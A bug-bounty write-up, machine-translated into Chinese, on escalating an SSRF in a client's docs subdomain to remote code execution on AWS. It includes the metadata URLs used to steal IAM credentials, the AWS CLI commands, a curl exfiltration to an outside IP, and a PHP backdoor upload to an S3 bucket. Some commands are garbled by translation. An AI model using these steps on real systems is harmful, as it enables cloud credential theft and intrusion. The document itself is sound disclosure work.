你好,五年級學生,
我是Youssef A.Mohamed aka GeneralEG
網路安全工程師@Squnity和SRT成員@Synack
今天我要像往常一樣和你們分享一個新的有趣的弱點。
- 這個問題是在一個私人客戶機中發現的,所以我們稱之為redacted.com
探索範圍:
為子域枚舉用戶端的域時。我找到了子域[檔案]
我來到這個子域[docs.redact.com]
正在查找帶外資源負載:
[docs]子域顯示了一些檔案和統計資訊
當我點擊一張統計資料的照片時,我看到了一個奇怪但並非神奇的連結:
我首先想到的是將[url]的值改為generaleg0x01.com
然後我注意到[mimeType]參數編輯了連結並將值更改為如下:
https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&廣告客戶id=11
直到現在它只是[帶外資源加載]
驗證SSRF:
在檢查BurpSuite通知的響應頭[X-Amz-Cf-Id]中的請求/響應時
所以,我發現他們在AWS環境中。
我們需要確保SSRF在這裡運行良好。我們知道[169.254.169.254]是EC2實例的本地IP地址。
讓我們嘗試通過導航到//latest/meta data/]來訪問中繼資料資料夾。
SSRF確認。
在EC2環境中衝浪:
讓我們通過導航到[/latest/meta data/iam/security credentials/]來檢查當前角色。
是aws-elasticbeanstalk-ec2-role
什麼是AWS彈性豆莖?
- AWS Elastic Beanstalk是AWS提供的一種平臺即服務(Platform as-as-Service,PaaS)產品,用於部署和擴展針對各種環境(如Java、.NET、PHP、Node.js、Python、Ruby和Go)開發的web應用程序。
- 它自動處理部署、容量調配、負載平衡、自動擴展和應用程序運行狀況監視。
獲取所需數據:
1)轉到[/latest/meta data/iam/security credentials/aws-elasticbeanstalk-ec2-role/]
獲取[AccessKeyId,SecretAccessKey,權杖]
2)轉到[/latest/dynamic/instance identity/document/]
獲取[instanceId,accountId,region]
配寘AWS命令列介面:
- 打開終端:
~#apt安裝awscli
~#匯出AWS_ACCESS_KEY_ID=AccessKeyId ~#匯出AWS_SECRET_ACCESS_KEY=SecretAccessKey ~#匯出AWS_DEFAULT_REGION=REGION ~ţ匯出AWS_SESSION_TOKEN=TOKEN
- 獲取[UserID]
~#aws sts獲取呼叫者身份
SSRF開發得很好,現在讓我們進一步探索將其陞級到更大“RCE”的可能性。
將SSRF陞級為RCE:
我去嘗試了一些潜在的開發場景。
- 通過[ssm send command]陞級失敗
經過幾項研究,嘗試使用AWS Systems Manager[ssm]命令。
角色無權執行此命令。我希望用aws ssm send命令陞級它。
~#aws ssm send command–實例id“instanceId”–檔案名“aws RunShellScript”–注釋“whoami”–參數commands='curl 128.199.xx.xx:8080/'whoami`'–輸出文字–region=region
調用SendCommand操作時發生錯誤(AccessDeniedException):User:arn:aws:sts::765xxxxxxxx:assumed role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxxxx未被授權執行:ssm:SendCommand on resource:arn:aws:ec2:us-east-1:765xxxxxxxx: instance/i-00xxxxxxxxxxxx
- 通過[SSH]陞級失敗
SSH埠已關閉。我希望用著名的場景來陞級它:
創建RSA身份驗證金鑰對(公開金鑰和私密金鑰),以便能够從帳戶登入到遠程網站,而不必鍵入密碼
- 通過[上傳後門]陞級成功
正在嘗試讀取[S3 Bucket]內容:
嘗試使用AWS CLI運行多個命令以從AWS實例檢索資訊。但是,由於安全性原則的存在,對大多數命令的訪問被拒絕。
美國焊接學會s3 ls
調用ListBuckets操作時發生錯誤(Access Denied):Access Denied
經過幾項研究發現,託管策略“AWSElasticBeanstalkWebTier”只允許訪問名稱以“elasticbeanstalk”開頭的S3存儲桶。
為了訪問S3 bucket,我們將使用前面獲取的數據,格式如下:
彈性豆莖區域帳戶id
現在,bucket的名稱是“elasticbeanstalk-us-east-1-76xxxxxxx00”。
讓我們以遞迴管道列出“elasticbeanstalk-us-east-1-76xxxxxxx00”的bucket資源,以使用AWS CLI執行此長時間運行的任務:
~#aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxx00/–遞迴
現在,讓我們試著上傳一個後門!
~#cat命令.php
~#aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxx00/
上傳:./cmd.php至s3://docs.redact.com/cmd.php
在這裡我們有一個成功的RCE!
簡而言之:
您可以通過多種方式將伺服器端請求偽造陞級為遠程程式碼執行,但這取決於目標環境。
快樂駭客!